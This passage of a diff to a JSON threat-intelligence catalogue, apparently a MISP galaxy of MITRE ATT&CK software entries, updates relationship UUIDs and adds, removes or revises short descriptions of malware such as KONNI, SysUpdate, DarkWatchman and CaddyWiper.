"82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -52226,14 +50606,14 @@ "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52247,7 +50627,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52267,13 +50647,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -52289,7 +50662,7 @@ "type": "uses" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52300,7 +50673,7 @@ "value": "GPlayed - S0536" }, { - "description": "[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)", + "description": "[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)", "meta": { "external_id": "S0356", "mitre_platforms": [ @@ -52308,7 +50681,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0356", - "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", @@ -52354,13 +50726,6 @@ ], "type": "uses" }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ @@ -52375,34 +50740,6 @@ ], "type": "uses" }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", "tags": [ @@ -52417,20 +50754,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -52445,13 +50768,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", "tags": [ @@ -52487,20 +50803,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -52508,20 +50810,6 @@ ], "type": "uses" }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -52536,13 +50824,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ @@ -52564,13 +50845,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -53000,13 +51274,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -53731,378 +51998,6 @@ "uuid": "96eca9b9-b37f-42f1-96dc-a2c441403194", "value": "VaporRage - S0636" }, - { - "description": "[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)", - "meta": { - "external_id": "S0663", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0663", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" - ], - "synonyms": [ - "SysUpdate", - "HyperSSL", - "Soldier", - "FOCUSFJORD" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "c009560a-f097-45a3-8f9f-78ec1440a783", - "value": "SysUpdate - S0663" - }, - { - "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)", - "meta": { - "external_id": "S0673", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0673", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" - ], - "synonyms": [ - "DarkWatchman" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "63686509-069b-4143-99ea-4e59cad6cb2a", - "value": "DarkWatchman - S0673" - }, { "description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)", "meta": { @@ -55312,76 +53207,6 @@ "uuid": "d1531eaa-9e17-473e-a680-3298469662c3", "value": "CoinTicker - S0369" }, - { - "description": "[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)", - "meta": { - "external_id": "S0693", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0693", - "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", - "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine" - ], - "synonyms": [ - "CaddyWiper" - ] - }, - "related": [ - { - "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "b30d999d-64e0-4e35-9856-884e4b83d611", - "value": "CaddyWiper - S0693" - }, { "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)", "meta": { @@ -55862,13 +53687,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -55876,13 +53694,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -55890,13 +53701,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -56019,21 +53823,21 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56046,6 +53850,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", "tags": [ @@ -56053,6 +53864,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -56060,20 +53885,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -56088,26 +53899,26 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878", @@ -56311,14 +54122,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56332,14 +54143,14 @@ "type": "uses" }, { - "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56353,7 +54164,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56367,7 +54185,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56388,7 +54213,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56407,6 +54232,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "aef537ba-10c2-40ed-a57a-80b8508aada4", @@ -56710,13 +54542,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ @@ -57456,14 +55281,7 @@ }, "related": [ { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57484,14 +55302,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57510,6 +55328,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "22faaa56-a8ac-4292-9be6-b571b255ee40", @@ -57546,14 +55378,7 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57581,21 +55406,7 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57608,6 +55419,20 @@ ], "type": "uses" }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -57628,6 +55453,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "e296b110-46d3-4f7a-894c-cc71ea50168c", @@ -59030,14 +56862,14 @@ "type": "uses" }, { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "dest-uuid": 